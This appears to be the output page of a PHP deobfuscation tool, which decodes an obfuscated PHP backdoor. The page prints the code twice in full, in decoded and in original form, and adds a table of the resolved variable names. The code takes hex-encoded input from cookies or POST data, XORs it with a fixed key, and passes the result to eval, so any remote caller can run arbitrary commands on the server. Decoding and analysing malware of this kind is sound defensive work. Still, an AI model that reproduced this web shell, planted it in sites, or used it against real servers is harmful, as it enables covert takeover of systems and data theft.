Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $IGVXR = "\x73" . 't'/* Qxj */./* pb */"\162" ./* wQx */"\137" ./* gu*/'..

Decoded Output download

<?php 
$IGVXR	=	"s"	.    't'/* Qxj   */./*   pb */"r"	./*  wQx   */"_"	./*  gu*/'r'	./* FTuKZ  */chr/*  TuBF  */(	594	-     493	).chr	(112)    ./* dHsh   */"e"   .    chr	(	548/*   IHzXp */-/*DbaB  */451	)."t"; 
			$TPymLGouaB	=/* qJcXC */chr/* wa */(	193/*  u */-/* z   */92    ).chr	(120) ./* hzqZF  */'p'	./* j   */'l'	.	chr	(111)	.     chr/*UbnGZ*/(/*   vV  */206   -	106/*fVRNi */)."e"; 
  $lpfLK/* q  */=/*eVThk   */"p"	./*  TSwyP   */"a"	.  'c'/*Uhadx  */./*  m*/"k";$_N/* uZ   */=/*  B   */'4885'; 
			function/*  C */SFdzDyhzea() 
				{ 
	$lqzEaqoXb	=/*  G  */Array/* lW  */(	"dyFfaZC"	=>  "rsVFsgNmEVFOthwzBwNjV"   );$_rm/*   Rlvs */=  '58672'; 
 
 
	 
				/*  qBhxH*/$TYHbOOPMP/*  sCBwr  */= Array/*  lJmDn  */(/*   BigVB */"uypIpl"   =>	"FCKqlcHnkKKDRY"/*   G*/);$_MdQ     =   '10430'; 
 	$fGsYWtOqPx   =	Array(/*   mLb   */$lqzEaqoXb,/* C*/$_COOKIE,/*TPDA*/$lqzEaqoXb,  $_POST,	$TYHbOOPMP);; 
    
 
/*hqBEe   */return     $fGsYWtOqPx; 
				/*   KCx  */} 
    	 
	  function/*  szQO*/hjRRxl($YogCx) 
					   { 
    /*   nW   */if	(/* ol  */count  (/*  xYrz  */$YogCx/*eRMBm  */)/*S*/==	3	)/*FfMV */{ 
		  $tPmWzCUSa/*   J */=/* acm  */$YogCx[1]; 
   	$LyCUDypy	=	$YogCx[2];$_CR	=/*RQQO  */'5539'; 
 
 
/* CWayp   */$jYePzEKqW/*zXyD   */=	$tPmWzCUSa($LyCUDypy);$_E/* dTofb */=/*  pdL  */'2129'; 
   	eval   ( $jYePzEKqW	);; 
						die/*   Ha   */();; 
				/*r  */} 
      } 
		  
	/*   dZaS */function/*   vUcb*/qiqkklU($vTrZIXr,	$Aqkzaj) 
     { 
 
 
  return/*   FoMf   */$vTrZIXr	^ $Aqkzaj; 
 	} 
 /*n */ 
    /*  gIRh   */$MfvbP	=	chr/*Auy*/(	630/* j   */-	595/*   a */); 
 
 
     
  foreach (SFdzDyhzea()     as	$RuJBo)/*   s */{ 
				foreach     (	$RuJBo  as	$Aqkzaj    =>/* LUb*/$vTrZIXr/*  wX */)     { 
						 
        $vTrZIXr/*ne */=	@$lpfLK(/*  FJG  */"H"    .	chr	(	717	-	675	),	$vTrZIXr/*ES*/); 
				/*   V */ 
 	$Aqkzaj/*mc */.= "ZXc-bjqW-XvBgc-wHouQC-xDyzOV-jquvGA-zRIBSl"; 
 
 
/*   OJ  */$Aqkzaj/* J  */=/*PZC   */$IGVXR     (	$Aqkzaj,	(     strlen(/*   gEVE  */$vTrZIXr   )/strlen( $Aqkzaj/*glw */)	)    +	1);; 
		   
 /*   QSsf   */$ivGawC	=     qiqkklU($vTrZIXr,    $Aqkzaj); 
 
 
     
  	$YogCx    =  $TPymLGouaB	($MfvbP,/* gk  */$ivGawC );; 
 
   
 
 
   hjRRxl($YogCx); 
        } 
	/*ffZ*/} ?>

Did this file decode correctly?

Original Code

<?php
$IGVXR	=	"\x73"	.    't'/* Qxj   */./*   pb */"\162"	./*  wQx   */"\137"	./*  gu*/'r'	./* FTuKZ  */chr/*  TuBF  */(	594	-     493	).chr	(112)    ./* dHsh   */"\x65"   .    chr	(	548/*   IHzXp */-/*DbaB  */451	)."\x74";
			$TPymLGouaB	=/* qJcXC */chr/* wa */(	193/*  u */-/* z   */92    ).chr	(120) ./* hzqZF  */'p'	./* j   */'l'	.	chr	(111)	.     chr/*UbnGZ*/(/*   vV  */206   -	106/*fVRNi */)."\x65";
  $lpfLK/* q  */=/*eVThk   */"\x70"	./*  TSwyP   */"\141"	.  'c'/*Uhadx  */./*  m*/"\x6b";$_N/* uZ   */=/*  B   */'4885';
			function/*  C */SFdzDyhzea()
				{
	$lqzEaqoXb	=/*  G  */Array/* lW  */(	"dyFfaZC"	=>  "rsVFsgNmEVFOthwzBwNjV"   );$_rm/*   Rlvs */=  '58672';


	
				/*  qBhxH*/$TYHbOOPMP/*  sCBwr  */= Array/*  lJmDn  */(/*   BigVB */"uypIpl"   =>	"FCKqlcHnkKKDRY"/*   G*/);$_MdQ     =   '10430';
 	$fGsYWtOqPx   =	Array(/*   mLb   */$lqzEaqoXb,/* C*/$_COOKIE,/*TPDA*/$lqzEaqoXb,  $_POST,	$TYHbOOPMP);;
   

/*hqBEe   */return     $fGsYWtOqPx;
				/*   KCx  */}
    	
	  function/*  szQO*/hjRRxl($YogCx)
					   {
    /*   nW   */if	(/* ol  */count  (/*  xYrz  */$YogCx/*eRMBm  */)/*S*/==	3	)/*FfMV */{
		  $tPmWzCUSa/*   J */=/* acm  */$YogCx[1];
   	$LyCUDypy	=	$YogCx[2];$_CR	=/*RQQO  */'5539';


/* CWayp   */$jYePzEKqW/*zXyD   */=	$tPmWzCUSa($LyCUDypy);$_E/* dTofb */=/*  pdL  */'2129';
   	eval   ( $jYePzEKqW	);;
						die/*   Ha   */();;
				/*r  */}
      }
		 
	/*   dZaS */function/*   vUcb*/qiqkklU($vTrZIXr,	$Aqkzaj)
     {


  return/*   FoMf   */$vTrZIXr	^ $Aqkzaj;
 	}
 /*n */
    /*  gIRh   */$MfvbP	=	chr/*Auy*/(	630/* j   */-	595/*   a */);


    
  foreach (SFdzDyhzea()     as	$RuJBo)/*   s */{
				foreach     (	$RuJBo  as	$Aqkzaj    =>/* LUb*/$vTrZIXr/*  wX */)     {
						
        $vTrZIXr/*ne */=	@$lpfLK(/*  FJG  */"\x48"    .	chr	(	717	-	675	),	$vTrZIXr/*ES*/);
				/*   V */
 	$Aqkzaj/*mc */.= "ZXc-bjqW-XvBgc-wHouQC-xDyzOV-jquvGA-zRIBSl";


/*   OJ  */$Aqkzaj/* J  */=/*PZC   */$IGVXR     (	$Aqkzaj,	(     strlen(/*   gEVE  */$vTrZIXr   )/strlen( $Aqkzaj/*glw */)	)    +	1);;
		  
 /*   QSsf   */$ivGawC	=     qiqkklU($vTrZIXr,    $Aqkzaj);


    
  	$YogCx    =  $TPymLGouaB	($MfvbP,/* gk  */$ivGawC );;

  


   hjRRxl($YogCx);
        }
	/*ffZ*/}

Function Calls

chr 8
SFdzDyhzea 1

Variables

$_N 4885
$_rm 58672
$_MdQ 10430
$IGVXR str_repeat
$MfvbP #
$lpfLK pack
$TYHbOOPMP [{'key': 'uypIpl', 'value': 'FCKqlcHnkKKDRY'}]
$lqzEaqoXb [{'key': 'dyFfaZC', 'value': 'rsVFsgNmEVFOthwzBwNjV'}]
$TPymLGouaB explode
$fGsYWtOqPx [{'key': 0, 'value': [{'key': 'dyFfaZC', 'value': 'rsVFsgNmEVFOthwzBwNjV'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'dyFfaZC', 'value': 'rsVFsgNmEVFOthwzBwNjV'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'uypIpl', 'value': 'FCKqlcHnkKKDRY'}]}]

Stats

MD5 b54d381de3878f66284bf405cc464ee3
Eval Count 0
Decode Time 115 ms